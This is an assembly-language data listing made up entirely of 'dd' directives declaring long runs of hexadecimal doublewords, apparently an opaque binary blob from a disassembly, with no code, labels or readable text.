dd 64726C1Dh, 350A3890h, 3C27CC7Dh, 0ACDA6200h, 0E8FE7651h
dd 0C19D1207h, 28E807FFh, 8997403Fh, 65003AD0h, 3B6484FEh
dd 0ECDE1FA6h, 0AE400119h, 480EBBA2h, 7490DF4Dh, 6900F4EAh
dd 23CACF6Eh, 28E95C9h, 31A5E709h, 0BC80813Ah, 3E92360Dh
dd 0D532D0C0h, 0B0D85E96h, 0E3BB0EBFh, 4121FE73h, 0E80CE2D4h
dd 0E4285DEFh, 0B600E805h, 0C8434781h, 0DC96C9h, 83445B11h
dd 0EFFFD6FCh, 0E166C0A0h, 0A7CFC201h, 675A4C3Dh, 510D2030h
dd 0FCCCD425h, 2311031Ah, 0F131D915h, 0E3A62AB0h, 0DF833Fh
dd 0E8D387ECh, 1C292F0h, 6E628119h, 80661EA3h, 0C7615648h
dd 0F6C404h, 8CF5F085h, 8132D997h, 0E6174205h, 5980D3ACh
dd 0AA58AEh, 0A1F5CC1h, 0FB648976h, 0F454872Eh, 2505E787h
dd 0D1BE7400h, 0AFBC006Dh, 0BE6D38Bh, 70123C21h, 2D00DABBh
dd 0F04DB673h, 927E1E27h, 3D048755h, 58CD6062h, 0B4041EFFh
dd 61EB4175h, 772058C0h, 5501859Eh, 1FFF09A2h, 7D4E8464h
dd 3650099h, 0C2EC774Ah, 0E459D29Bh, 0F3B70134h, 0D3FAC008h
dd 0F42E8424h, 0CBAF415h, 0AA22789Dh, 0E42453C9h, 7080B87Ch
dd 9C5D3D82h, 0A494B0h, 99B3AF4Ch, 0E6000428h, 97E2ACDBh
dd 493E8F56h, 6706C491h, 99D6B3B0h, 2701E6EEh, 1A997F9Bh
dd 4AF86F96h, 0BF6078Bh, 0FE3BD94Fh, 404BABA0h, 69C09C73h
dd 63EB7057h, 5DCF0A2Bh, 0F2323Ch, 0B7DB7DE8h, 0EA3A73C0h
dd 0FE4D809Ch, 0C758CB48h, 53BD00BBh, 0AEAF4412h, 82006D18h
dd 775C2DB3h, 900A338Ah, 140505BEh, 0D09A1264h, 3AE7865Ch
dd 0F53FB105h, 0E497D1B7h, 32FD05C0h, 0B8CA0310h, 4C767D1Bh
dd 403F180Fh, 0F9470F12h, 53004811h, 688137BEh, 0B22FE0h
dd 0FD46F410h, 0D4A46CDFh
dd 1AD13300h, 0BEEE3673h, 368DEC7h, 9EB6B8A2h, 4E1858A0h
dd 0E1D6F502h, 0E137E0B5h, 1CF1A3CBh, 64C0F4h, 5BF50B7h
dd 8DEC7316h, 0E8B12201h, 899172D9h, 2568880h, 4FFA3298h
dd 0F87B4C3Fh, 0CB0ACD00h, 0B0F0CC86h, 821F095Dh, 9040602Ah
dd 0CD049B85h, 37BC9DC3h, 4439CB7h, 289F6FB1h, 88FA15E8h
dd 481E07B0h, 87C0FE07h, 8BA5E9h, 0F7DCEE8Dh, 0E3FA33FBh
dd 0F10CA9D6h, 841D2905h, 44F53422h, 41005BF7h, 0AAA974E9h
dd 13AE84h, 5A163FDBh, 8570D547h, 0D98DB700h, 998AAF56h
dd 125B1D07h, 0D8F94F2Eh, 6126F760h, 72700297h, 0A73CB809h
dd 74B40060h, 418C243h, 0CD01006h, 0AABCA09Bh, 1B3EC600h
dd 4C9140CCh, 0F1F6616Dh, 248C1D15h, 0E3E45674h, 11E5C130h
dd 0CE9B54h, 4ECAD60Bh, 351E87EBh, 72CF39h, 0D144D348h
dd 362DE24h, 328F753Ah, 86B12E2Dh, 0DA91801Dh, 85BC82AFh
dd 0F5E01A2h, 5689AE43h, 0A6B8504Fh, 0F092EDCEh, 0E2C09A01h
dd 7F0CE44Ch, 3A301DF1h, 710D3017h, 0AE4FB891h, 5A477B11h
dd 76FEA700h, 1B7D95D0h, 36880905h, 0E4C0E711h, 0F2C354h
dd 0C1DB7FE8h, 0F58E151h, 0F8322C2Ch, 78A90E0Ch, 6E7200FAh
dd 4DB5D55Dh, 0BF09C08Bh, 5BB302h, 75283D43h, 0F1AC0080h
dd 0D627DBCFh, 0C200C911h, 7F415A7Eh, 0AE8366h, 0BE5F1710h
dd 0D0999EFAh, 1D284058h, 8D80E14Eh, 87437E0Ah, 334A1835h
dd 719A3093h, 0A24DC100h, 0D837C055h, 0C66B00E3h, 3014F96Dh
dd 1F00A8F8h, 18366CF7h, 74F9A83h, 0EF264A93h, 1C441107h
dd 0E025D958h, 0F200DE0Fh, 5D94565h, 0B8C1140h, 0CD600A5Bh
dd 9EE22418h, 0FCD3C12Ah, 3B7BD958h, 99430025h, 0E787A981h
dd 17EE676h, 971096C2h, 0EC0F5F88h, 8D0060F9h, 5471EC27h
dd 76DBDC9h, 0DE99062Ch, 58EA0028h, 0CF2E8DEBh, 3680F0CBh
dd 0DD948ADAh, 0CE5407F1h, 0A03F60FEh, 9096DC33h, 510CC900h
dd 76F5BFE9h, 904E5807h, 0E4F4A000h, 739F7B98h, 4B127102h
dd 0E1EA3FAFh, 0F070FDE4h, 18A6EAADh, 0C894B6E2h, 1D0478A2h
dd 406F72BAh, 0F0B71491h, 5924E434h, 5412043Eh, 0A3446A6h
dd 0D6202962h, 154A0059h, 5072BC9Ch, 0CF3822A1h, 10C400D9h
dd 47F6446Eh, 5C7800CBh, 0C6500E69h, 0C11E7A56h, 13C1D9A0h
dd 1DEC9D20h, 79380120h, 736830B6h, 16027D20h, 98A90D00h
dd 413189EDh, 0C96F013Eh, 0A893EF50h, 2384205Eh, 7CE14900h
dd 0B69CB2B1h, 37E300FBh, 0ED4F221Eh, 0FF00AD78h, 0B74EA185h
dd 3F8072h, 91363A63h, 0EF7EC081h, 9C89CE1Eh, 0B0185A80h
dd 906EAF04h, 5B5C16C0h, 99BC20CAh, 0CC0A087Eh, 8CF88DEEh
dd 49CAC187h, 0CCE8AF0h, 294B0246h, 0E988A813h, 7F770040h
dd 9B731B00h, 0B208D3C3h, 68ECAAh, 0C9A34C49h, 0EE926FDAh
dd 2BE0B03h, 0F898BA73h, 0EF3274h, 5861C81Bh, 9F6592B1h
dd 627F0200h, 0B594D828h, 3D420E91h, 33A0C10Ch, 616AF55Ch
dd 0CF862401h, 0B0DEB15Ah, 3EFDBC60h, 9F039170h, 66890E7Fh
dd 0D9C23C8h, 0CD30E401h, 0E9435C09h, 1DD8B3F4h, 0C0A69E31h
dd 1A59AD02h, 5D00635Fh, 70E2DB83h, 0E4DEBFh, 0A614E01Bh
dd 8B79296h, 0FD3CF0Eh, 6028CE59h, 6CCCDC7Dh, 302B00F9h
dd 5BC2D818h, 9200CF87h, 39BB90C1h, 24567481h, 1C5E8A1Ch
dd 5940C02Fh, 0DD270C9Eh, 0D3984400h, 0AAA5D161h, 0C09C00C7h
dd 99CBB75Dh, 0F75C4EB6h, 0E37300D4h, 0BE01F2FFh, 0C7FE3C93h
dd 53F440Fh, 96B4A5C0h, 0A6EEE48Fh, 0AA8BB600h, 99163001h
dd 0EC40E1Eh, 7A81F739h, 64AC5A1Bh, 150C4060h, 282D6254h
dd 0E87D0232h, 0D43948D3h, 170B461h, 3181B7BAh, 1F29C2EBh
dd 0AE88247Fh, 0A3DDB906h, 10A9CAh, 40FD7413h, 9DED0577h
dd 94000890h, 8C9BF4CFh, 0F71E3A1h, 68C91D2Ah, 0FD3420E0h
dd 0AE0BBD0Ch, 4EC326Dh, 50C0A30Bh, 13D59092h, 8E363BE6h
dd 1AFFF200h, 500E5C16h, 61E28217h, 10911FA2h, 38530AE8h
dd 0CE285270h, 4DF900F0h, 0CBC058B6h, 3F0F76EAh, 0EFF3896Fh
dd 0E9C553Bh, 80C9617Bh, 0C164CAC8h, 0FA1FF233h, 6C67487Ah
dd 6DD7A400h, 6ACFF6F8h, 0BB0527E8h, 0D9B90EF3h, 61695C0h
dd 22F70041h, 1CD82052h, 0D8906C87h, 80E3543Dh, 67425758h
dd 0C27644h, 99294363h, 0A66D5E9Ch, 0DF0458B9h, 28A2F321h
dd 49207DE8h, 603F0004h, 0FE3C4712h, 1884D4B7h, 81328607h
dd 0A2178EB1h, 0FC0ECF30h, 7FF822Bh, 0B510809Bh, 12D582C7h
dd 80EAB12Ah, 56CDF150h, 5AF47503h, 61D209h, 10484E08h
dd 4F3736FEh, 3C566900h, 9A141994h, 0BECF0058h, 0B132D9A2h
dd 51F2D82h, 12000445h, 631851Dh, 181F04Ch, 2CED95CEh
dd 0F0BF49CFh, 0A20AA179h, 60DEB72Dh, 42383D18h, 4AFF7C3Ch
dd 9F9422D3h, 0FA02BA04h, 0D4E0410Bh, 0BE174F85h, 0E001F298h
dd 8EE14394h, 399EF7D9h, 0B1E200E6h, 0A9E059A2h, 12103D0Eh
dd 9CAA8ABDh, 17E8E11h, 0B99308E1h, 0CA158FC5h, 0B044B0F0h
dd 4A1604CDh, 916B3998h, 9F6CD990h, 1C001E48h, 0D22D68FCh
dd 0E6390DDh, 0D770A376h, 0B4BE2Ah, 4927DED4h, 8D72791Eh
dd 879FE818h, 2D68908h, 5CBFF638h, 1C48856Eh, 480024E5h
dd 9B015BAEh, 0A14F2h, 0F7C2C37Dh, 981F2707h, 2AD03100h
dd 0D5B74B16h, 987B6072h, 0C72DDB53h, 0A9639F30h, 0C62A34h
dd 0C0E94277h, 0A6B7D4E0h, 0C0628E28h, 0B9CBAC03h, 6E9C49h
dd 3BC15531h, 6FEC2926h, 5CF4D000h, 0DC2D9AC5h, 21FED6h
dd 541124Eh, 878588B1h, 284449h, 8F39F11Dh, 3B829EAh, 36791FFh
dd 0D0C7D54Ch, 794D16Dh, 0CE078575h, 20490DA8h, 0B71DF90h
dd 2AB03002h, 187A25D8h, 0D0698203h, 28C1DE2Dh, 48B89728h
dd 0C020C94h, 0DC888C12h, 0B35D29C0h, 989C8A54h, 6F95510Ch
dd 8511BDh, 1C92FF7Bh, 0ED7DCDBFh, 1177138h, 2BF7E755h
dd 69F49012h, 87D1148Eh, 8D00C8E2h, 59190F7Eh, 8F26E54Eh
dd 650330D6h, 0C0BA7C23h, 84AF71h, 85CD1BC1h, 88F967B0h
dd 7D39E61Eh, 0DA0110ECh, 0BB569B9Eh, 3A4A1F0h, 67334E1Eh
dd 16F8C6BDh, 6400848Bh, 35421DB6h, 1FBABCABh, 5E7BDE4Fh
dd 0A95E4EA1h, 0AAE0332h, 707C70F5h, 0FA046D52h, 9ACB3BC0h
dd 0C01F8939h, 0F700A0E5h, 94850D6Ch, 490F1DBBh, 0C25C80AAh
dd 897BAE06h, 0A3FA1E01h, 0B4EF66Dh, 843B2990h, 0EA4808C1h
dd 29322A4Ah, 0A0F1097h, 8AFBB688h, 29217AC3h, 0D980843h
dd 0B484C290h, 427F4807h, 682EF10Ch, 53288FCh, 8848AB88h
dd 0BA90F575h, 485B6784h, 3CF84287h, 26218624h, 11B31251h
dd 445208B7h, 4284B5FFh, 3FF211EFh, 0CB087E21h, 841B9057h
dd 4A4821C2h, 24526342h, 48D34CF7h, 0E40200E0h, 37E850C1h
dd 0DC00D626h, 66FC328Bh, 0FA35D8D9h, 75DB00E1h, 0DEF3B7E4h
dd 8D0FD791h, 406EF188h, 0C792B94Dh, 693B0055h, 98AFB7BDh
dd 52003202h, 0C4CB009h, 1567064h, 0F10AA7E1h, 30DC1558h
dd 0EF002A71h, 93ECF7F5h, 38651694h, 0E380B3C2h, 128E15BDh
dd 0B6007492h, 78D8FCE8h, 1DCA90F8h, 0C0BCDAABh, 8407119Eh
dd 0A97B1B62h, 0CC5B371Fh, 746D6B40h, 29BC8C4h, 0B12F65B0h
dd 584087E3h, 2A008F72h, 0B92D9F1Bh, 83A9A3h, 44ED5143h
dd 0D16CF9A1h, 0C8DCD300h, 9BFBAB63h, 6F3B037h, 0FEC45827h
dd 8E01D1A8h, 3B15A349h, 75D9D8EEh, 929A39FCh, 7D7E0088h
dd 7D1A654h
dd 7300554Ah, 5AAD8F69h, 8DBB06h, 0BAEEF0D5h, 6BF70DCDh
dd 0E1AE803h, 664744h, 0CC4E9628h, 0FD789435h, 7E2AB51Eh
dd 0F05CA200h, 0C3A4DCh, 0DD30B2B0h, 5DB82C1Fh, 8FE61606h
dd 1D40380Bh, 0BC3226h, 90D81EEAh, 290009ABh, 92EB1AD5h
dd 0F0473AFh, 5FBD78Fh, 6E7C2E61h, 0F22F021h, 0CAA4E10Eh
dd 308A4257h, 0C8E56381h, 0BE8CF2h, 75C6DF5h, 0BD979FF4h
dd 0C53D95B0h, 1AAE803Ch, 0D541A92Bh, 0ACEE05A2h, 5E0630h
dd 48528C88h, 0A81D7E04h, 7940449Dh, 1C8D7AE2h, 72D03D4Ch
dd 11485480h, 0E081A7B7h, 7A1F6300h, 0F758734Ah, 7034263Ch
dd 0F94E00D7h, 716D5F48h, 64AFB600h, 7D4F46F6h, 0D1650AFAh
dd 7C0BDBh, 0FF505F0Ch, 0D001AA5Ah, 3BC0EDF8h, 8CF87ADCh
dd 386412BDh, 484D0962h, 16B81B00h, 1F00C525h, 5B2015A0h
dd 73A8E30h, 6BFE4D6Ah, 0C3C7C0A6h, 90F0B7EAh, 500F6E6h
dd 0B82236EBh, 12F85D6Eh, 40468854h, 37951F14h, 9A05B39Bh
dd 0EC41EE94h, 0C213490h, 88E000F6h, 0BEAAC518h, 3FB8D16Fh
dd 62026607h, 7750B4D8h, 0C7AD05h, 0BACF90A8h, 1E1B24A3h
dd 20A04500h, 0FD3AA62Bh, 0A06B633Dh, 0C6E07134h, 0D140B7C2h
dd 4A3E00B0h, 0DF9CDDF6h, 63F5B5Ch, 0B71400B3h, 5973B82Eh
dd 0B2250085h, 915A7801h, 0E100ED33h, 0CCDE273Eh, 1D734980h
dd 0A2A7C5h, 5D6C3B96h, 0A51C3219h, 0F9BB31EAh, 2B429900h
dd 88689ABCh, 80C84808h, 80C65F1Dh, 5C50472Ah, 21000B8Ah
dd 0C5B3C191h, 0BB7E34h, 0D7B2AF56h, 3AA0A26Dh, 0C6CBB700h
dd 3F11A51Ch, 0BF061E25h, 0E2FA83D1h, 0A4E005E0h, 0FE00FBA3h
dd 3A02C439h, 6AEDFCh, 0E8474314h, 82045520h, 1536840h
dd 6BB2D219h, 430C9C10h, 6AD0B9F0h, 4D006108h, 493ED1DDh
dd 7B84EFh, 0F929EC4Ah, 0C2358875h, 2B777404h, 3FC0D1AAh
dd 195342Fh, 5AEF4E01h, 0F17AF846h, 4C68E456h, 39732098h
dd 2F540F1Fh, 3FC6A880h, 0D6F902h, 0A4E02CDDh, 1956AD3Bh
dd 0EB230B00h, 57158F44h, 0A9DF00EFh, 0EAB64E69h, 160349D6h
dd 5FFDD080h, 0A348907Ch, 77E909D2h, 6500EF69h, 7F1C701Fh
dd 4A463100h, 1BCA6DEBh, 9FDF0093h, 0A3D606BEh, 8898372Ah
dd 3843C900h, 3579A096h, 40F3395Fh, 62301C30h, 3B006E86h
dd 7D89E2F5h, 7A83D9h, 0FA0CCEBDh, 62079E17h, 3E42E700h
dd 8B4BF32Eh, 0EECE28Ah, 0BF1113E3h, 3883E800h, 0B101C5E6h
dd 4E75C831h, 4480D0E4h, 9DFD6989h, 37004173h, 0DA08957Ah
dd 7E6F921Fh, 26B270EBh, 0C8B503h, 7D5FC678h, 810F4CCBh
dd 601C21BAh, 53F879D3h, 49AF0011h, 7061A888h, 0E8A063BBh
dd 76003B47h, 112C086h, 74AB13h, 0BD358F15h, 0BF82585Ch
dd 4AB2AA00h, 0A13A3DA7h, 6CD20088h, 0AC39CC8Ch, 5E489132h
dd 28400014h, 4F1A4AB1h, 2CFC3C8Bh, 7EA67700h, 6A277005h
dd 0A4528100h, 0A5EA336h, 0B26C00ACh, 5F8006ADh, 29005D89h
dd 52A995DDh, 0E66879h, 0FDF37688h, 58825B1Bh, 999D9300h
dd 63160EFAh, 9657176Ch, 257F0E51h, 3187C1DDh, 30F1AB3Eh
dd 8100E3DFh, 37896D99h, 3A126FCh, 729BF5C5h, 0E2003DF8h
dd 4C38325Fh, 8D460Bh, 1AF2AFFh, 45E21F1Ch, 5400BB7Eh
dd 0E1CE224Fh, 0B327619h, 0B0513413h, 0AF994503h, 0E83E1201h
dd 808D9E6Fh, 2CF14DE0h, 3077584Bh, 0A3940D38h, 4E581E60h
dd 0D20C8Fh, 6833A8C9h, 32EE7E99h, 806D7A3Bh, 2262D97Bh
dd 0A12F86Ah, 8AF7EC88h, 0E88C16ECh, 43FF0180h, 0D0F49EE5h
dd 0B0C71C75h, 25CE307h, 44345FACh, 0EEC0BFDFh, 0CA03D70Ah
dd 0D52E1553h, 7B80E0CFh, 0C04058FBh, 10ECAC2Ah, 0CB569Eh
dd 31B9C29Fh, 82BFD0Eh, 664D3EA8h, 0D12C4407h, 0A5CADCE0h
dd 0FE6E00B5h, 5F6968FBh, 6003F9C4h, 7E332451h, 2D3299E2h
dd 64E420h, 0D7204544h, 0FF58E774h, 0C6001FE0h, 30DFB4F9h
dd 0E827895h, 7C892F53h, 737649E0h, 0FF0E81F0h, 84A9E523h
dd 0C5C06619h, 24375A3Dh, 0D793DDh, 69D2822Dh, 0EA006595h
dd 57D9E239h, 2F9105h, 2573CD4Ah, 90AF6F3h, 0ECFB4001h
dd 22DA8964h, 2EF43CF4h, 14FCCBh, 232A06FEh, 0D73F9CB9h
dd 3DAB028Eh, 40C22038h, 1076D5h, 25D54A47h, 6E30438Ah
dd 857A2900h, 0CCEAE479h, 1E620EC7h, 34015105h, 0ECC0A224h
dd 1600D749h, 6DA50B1Ah, 523663h, 4B04DBCDh, 853D38F8h
dd 0E2745F0Eh, 37C15E9Eh, 208049CBh, 3B6F9C70h, 430BAE24h
dd 1FC709h, 0DC64AF44h, 0DD07C9A0h, 0AB58EF27h, 0B2521100h
dd 557405ECh, 80812163h, 431DA288h, 83E13A00h, 98624D6Ch
dd 0A7F50745h, 30872305h, 80C9966Dh, 32853712h, 0CDFA7000h
dd 28F2B1h, 0D22CD073h, 0CC295640h, 1B10CA01h, 885D4CA0h
dd 0AEF3E4h, 0B67DF838h, 740D557Ch, 260FD307h, 333C659h
dd 10CFE0D0h, 63751725h, 0C7A10091h, 70FAD2FFh, 5EF6B401h
dd 315477A7h, 97D84E8h, 108E7B8Fh, 8678AE80h, 400F087h
dd 0E4FCB4F2h, 0B0ADAB29h, 55122E6Bh, 0A7780E2Ch, 3C275960h
dd 13000BE9h, 0A42E0E4Fh, 7598A0h, 0CE0F12Bh, 6DB37948h
dd 4D8FDC00h, 0A52F09D6h, 66E91780h, 8AA400FCh, 41461DAFh
dd 9B4735Ch, 482A6C90h, 516DEE8h, 5C7D32D3h, 25D4437Bh
dd 2DA86E01h, 9600044Ah, 0CF2183ABh, 33FE8FCh, 1D9E9755h
dd 29C03090h, 6A7495B8h, 0EB88350h, 6C5FA005h, 0E80EAAAh
dd 63E6E1h, 78522DC2h, 0D212BD01h, 27760E00h, 0D9A2608Ch
dd 807003E8h, 5AFA4D75h, 0C84BFCA0h, 0A00849h, 47E15BDFh
dd 24BA98h, 7D2D8D3Ch, 0F933E48Ah, 0E3005970h, 0F139785Eh
dd 12EB4BAh, 28BDC2AAh, 0D08DDEBCh, 6DF07C04h, 0A71C3E00h
dd 0E8EEF3F4h, 0F542078Eh, 40C95C27h, 59D91193h, 0A44CFB00h
dd 0BFDD3802h, 475002Eh, 7246A0FCh, 0C200CCAFh, 3F67AB5Eh
dd 0FA7EE1Dh, 0C8FDC4ACh, 13BF52A0h, 7003430h, 117F64E0h
dd 0A1CAEBh, 5D2C32B7h, 1686419Ch, 1DEC2200h, 20B609C9h
dd 0ABAC018Bh, 0DEB388CBh, 5524605Fh, 1EE00300h, 31437A30h
dd 865A0067h, 62EFBAF2h, 5F00FE59h, 891C9E22h, 83ADB6h
dd 0AE302048h, 0AF702AB8h, 993F1A17h, 224F11Eh, 0ADD9B900h
dd 772C88ABh, 140FA46h, 708FB039h, 7055A092h, 5101FDB5h
dd 0C414E72Eh, 52303FB5h, 0D699006Dh, 8CB920D7h, 7900F0A5h
dd 1370A96Ch, 77CF9DE1h, 0DF1C0072h, 7D8FBDC1h, 504C73E4h
dd 0BA4200E5h, 648122CBh, 0C4091445h, 1014A44Ah, 4C7F9462h
dd 720CD3h, 6C5960CCh, 860B7865h, 0B3D6D400h, 0B595D835h
dd 6356000Ch, 88CA69Bh, 0C2049420h, 2931C892h, 0C032D7C0h
dd 57A4A085h, 8C9D276Eh, 628A0C22h, 4263908Fh, 4AD031FEh
dd 0AF00B7BCh, 0AAEA13FBh, 0F1D135h, 0DE7577FDh, 7686E068h
dd 0DFE1C703h, 726B3833h, 50F31631h, 0EA5C00DEh, 0E467A90Bh
dd 78830237h, 0D5D03870h, 314E6077h, 3FCC1597h, 67165E17h
dd 0C1282418h, 359600D2h, 0FF231420h, 13F8D883h, 3646F900h
dd 2C278862h, 2DDC1D6Ah, 0EE0600FDh, 0AC7DF387h, 3602487Eh
dd 0D4EA11AFh, 0F0507031h, 0B2B02C7h, 0EC4722A0h, 85FC9C62h
dd 0E062003Ah, 8F264DC0h, 2ECEF417h, 900FEA7h, 4A80A672h
dd 92932129h, 515E8A30h, 1F547F82h, 0E62DD3D0h, 9DEF0CA3h
dd 0DD3C3C59h, 61BC0BA5h, 0BB4009Eh, 0ADAA59h, 160A7F4Ch
dd 0B3EEE877h, 80E0480Eh
dd 82ABE0E2h, 0E8FA0CF2h, 0A4790706h, 1C1F78A2h, 58093440h
dd 490710h, 28E795A0h, 4BCB003Ah, 3FEF3796h, 0C90085E2h
dd 987588B1h, 0A8705Eh, 0BD2D252Ch, 33668360h, 491C9000h
dd 1D3D05F0h, 0C17600EDh, 7BDD52C7h, 0C00D070h, 2D2A827Dh
dd 3C3B7C4h, 42382916h, 6A00EE12h, 47764C68h, 74C2937Ah
dd 1F633C9Eh, 0C4869B00h, 0FFB14294h, 0F55AFB00h, 0FE206EC6h
dd 0B54F0015h, 0F006D2E4h, 0BE007DB8h, 0CBEDFB47h, 9E5EF2h
dd 0A837D64Ah, 43751F2Eh, 76DEE300h, 0A7A92630h, 0E2CC073Eh
dd 604DFD13h, 0BF6651B6h, 0BE39FC1Eh, 7B2D5E80h, 1D06936Eh
dd 403D5BDEh, 0A9A74738h, 650720CAh, 4AA4F85Fh, 0BB9025F0h
dd 0DB3200B0h, 482D91B9h, 9500A9CEh, 8CFBEA0Ah, 5BD5D38h
dd 0DC040D8Eh, 418C009Ch, 68CBB352h, 0B736A600h, 28593110h
dd 0A3A901C1h, 0BFE0795Eh, 0F80DC041h, 542CF20Eh, 37E5A0E3h
dd 0D801EDh, 0A5FA1BCBh, 5E7CF0C5h, 0B9C3D000h, 0CCA3AAB5h
dd 4F320089h, 4165C222h, 0AE00EB55h, 3ABAC40Fh, 749B1B0h
dd 0FA2BADF2h, 0F092719Ah, 0EC89C853h, 9D0090F4h, 0AB98C4C2h
dd 45D2F04h, 0DDFEF958h, 1F42C005h, 0B007783Ch, 7B4C7462h
dd 0E1C5A09Fh, 0FCD677D3h, 6B89Dh, 0D78409B4h, 0BB3769E7h
dd 0A1366F01h, 7CB36496h, 2C1BDCFCh, 784256h, 4F55A890h
dd 40B0075Ch, 4C195AA0h, 0C5A65300h, 0FF5DC392h, 3770007Eh
dd 0A8889C20h, 2D48289Ah, 563D0044h, 4DD79E46h, 0B28C0F4Fh
dd 0E1C08FCDh, 14A1771Ch, 0D11A0700h, 34E47C43h, 92167DA4h
dd 3DD503B8h, 0BBA5403Bh, 1C4465AAh, 8FAAEA62h, 849440B6h
dd 57DB0DEEh, 0E0387241h, 0E7073B02h, 0C0F68CBBh, 47007E37h
dd 76173ABh, 0D6F47174h, 6172049h, 0F898FC4Dh, 0ED2E3B7Ch
dd 7709D06Eh, 5C88E003h, 759F706Bh, 820C3B92h, 8A4840B0h
dd 65004606h, 0F59C7503h, 71E1B1h, 0A2CC6C5Ah, 404EA87Dh
dd 0EC805301h, 7F72185Eh, 0AC16C0h, 73550959h, 0CFEEBD3Bh
dd 1902D57Ah, 8F476DBBh, 0DDD9C01Fh, 25000AEh, 0C79AB32Dh
dd 0A2E2B654h, 0AAFAFF00h, 0EFD023FCh, 502A0015h, 62210907h
dd 0E200A253h, 3E99D91Bh, 7742CEAh, 0D0F639CBh, 0A5BC603Ah
dd 0F14BB38h, 1794677Eh, 94007B04h, 2FF556B6h, 9AA1007Fh
dd 0E4750543h, 571D8778h, 1F9FD04Ch, 290BC8C1h, 0C47083A7h
dd 0D97F0001h, 38F15B72h, 20091130h, 8088E7BAh, 8E6E2CF0h
dd 1A55BF9h, 397DC108h, 652F701Ah, 7323D400h, 0B6CEE42Eh
dd 34A40052h, 0B06829BDh, 0F40074ADh, 0C040B409h, 3A720DDCh
dd 8301A4BEh, 78259B1Dh, 8BF45173h, 271C30A7h, 7F466500h
dd 80F50E95h, 579A00B5h, 5F7C242Ah, 69EE2D88h, 0D9CF5300h
dd 8714FD0Fh, 4EF296h, 82547A48h, 94EE1391h, 0ABAA9F02h
dd 0D929D0D3h, 9BA108A0h, 0B5194B00h, 20A37Dh, 0EFAC5546h
dd 0BC543E98h, 305A7012h, 0DA623E00h, 9D3489h, 11403355h
dd 8CC81096h, 0FE61EE00h, 4FDDADE7h, 0D309009Ch, 6D440AC6h
dd 567BC168h, 539D371Ch, 8238D40h, 24CB51Ch, 0D121DA41h
dd 9DC0EF47h, 0AB718E0Eh, 866A5901h, 9C6CC1E1h, 0F8E47BE9h
dd 30E9025Eh, 1B234ED3h, 608B4FE1h, 0AA00A24Dh, 0E5107CFBh
dd 0E82C75h, 0D1F9CEC1h, 1A6AD041h, 0EB43CA09h, 9DF887CBh
dd 1981B340h, 807F0034h, 1CF07728h, 94E05BC1h, 0E9E7F212h
dd 530BE00h, 0BA5545h, 216E3258h, 0B9D717BFh, 654EA507h
dd 68B02FC4h, 246B12FDh, 0D885E6h, 5427344h, 0D900DE71h
dd 0DB184F4Eh, 506FBEh, 870E57F7h, 547DA386h, 0D2D0CF03h
dd 80CCE6B7h, 0B4B71h, 1ACEB351h, 0B60870DFh, 5D4EEC00h
dd 77E540D5h, 716F252h, 0E26B83DDh, 0DA0E20DBh, 0A103C734h
dd 175E568Ah, 0E16DB2B2h, 6961E33Ch, 7FE85C8h, 3731F016h
dd 671710ADh, 4C007C03h, 7F64D46Dh, 259868Dh, 32EAF727h
dd 9C484EB0h, 580099A2h, 8C0990A5h, 5AABC8Fh, 17EB067Eh
dd 7210D071h, 0BA24DE45h, 0C6125462h, 0B533E07h, 988075F7h
dd 0BC7E57h, 766DD492h, 0DD7F3ED2h, 28FE5400h, 8895136Bh
dd 4F610F25h, 0C6598ACh, 82ADC36Ah, 8CAAC800h, 1139222Dh
dd 1754F7Fh, 7EA31310h, 0E6FB200Fh, 8800E77Ch, 22D6CEA2h
dd 0AC893F3h, 19C354B8h, 0BA000ECh, 0FD12C94Eh, 7846BD1Dh
dd 0C3BEB1CFh, 0E8C490F6h, 0C25963h, 82809942h, 0CB295A6Dh
dd 3303C17Ch, 86A696Eh, 574FD8B4h, 9F83018Dh, 841ED5ABh
dd 154EE082h, 791F0204h, 5088EA76h, 4C01989Dh, 7339B8F2h
dd 43FB5C80h, 6DA0C79Bh, 4CB6AF03h, 133013Ch, 4D63BC98h
dd 508DFFD9h, 11C97FACh, 2F05B27Dh, 0DA7D5D92h, 642EFF03h
dd 5233B814h, 0CB50308h, 0EE5D2850h, 8E105921h, 51385ABDh
dd 0D801428Ch, 3BE01AC4h, 4FD4A8C7h, 0C811072Eh, 50FB3902h
dd 84F24B93h, 0C5219200h, 8094EA0Bh, 0F6AB2F60h, 1EA8C080h
dd 5659E891h, 0FBC90724h, 0F8D08B13h, 0BC7AE36h, 0DF33DA3Bh
dd 25506CC0h, 7DD53700h, 0FA0F5D94h, 0DC901A1h, 4805108h
dd 0DB2980ADh, 8A672617h, 28E3C11h, 0E35F92h, 0C2DD49ECh
dd 6A007BFCh, 2F0F819Ch, 30D7BDCBh, 6BC8474Ch, 0A0E3A3Ch
dd 15B11452h, 0CC32288h, 0F949FDB5h, 182EAAB1h, 3C806403h
dd 2F8F5C7Fh, 11F70024h, 0ED3D0E91h, 8667D861h, 1FB1D999h
dd 418BFA33h, 9C8A29E8h, 0A9C38144h, 8CCC4767h, 19287AA0h
dd 88EED9h, 0EDF50C8Eh, 31190224h, 0A0BC2500h, 2858E885h
dd 75B03BCCh, 73A3B583h, 2C8894DCh, 0F6738016h, 0DA016DFCh
dd 1F0D08E0h, 9AC015CAh, 0D00095B5h, 73D3468Ch, 0B1592800h
dd 558E24E0h, 57FB00A0h, 54EA1407h, 3207EEB0h, 89587F97h
dd 0C896D562h, 0CC3D30h, 6B21BDBCh, 817EB352h, 5145A500h
dd 0A8DF8F83h, 0BAACA02Bh, 0CF12006Fh, 0D6BE4D3Eh, 18C02888h
dd 628C83FEh, 0B0752470h, 34D90173h, 74A71AE8h, 0C7009970h
dd 24A20929h, 1DFEB1C8h, 4956BB90h, 0D880115Fh, 31E9A5D0h
dd 68D12C00h, 4ED78B37h, 988A009Fh, 35D8DB38h, 2B0030EEh
dd 624B5AFAh, 0F085B4BAh, 2AB500C9h, 0F9B8CD08h, 0E01FDB10h
dd 0C5C014A9h, 0AE9D58B0h, 0DF88002Ch, 0D5398ED3h, 4C078AB9h
dd 931C1D4Fh, 0F06B6EB3h, 0FE713Eh, 1245D12Eh, 5B18E929h
dd 0A10092ECh, 0B7AD8C31h, 0ECE1EEDEh, 6B6A005Fh, 0FFA69339h
dd 924D142h, 8B008D06h, 2BB92D3Fh, 0B03B071Dh, 805F49F2h
dd 815575DAh, 0BAB41F0Eh, 2228E7A5h, 9A144251h, 5E23EC8h
dd 0F946FAECh, 3D80EADFh, 4A7D541h, 359265C6h, 0C8B880B1h
dd 7C1C8C57h, 0F4C01F1Bh, 35DEC30h, 804900C9h, 7B183F43h
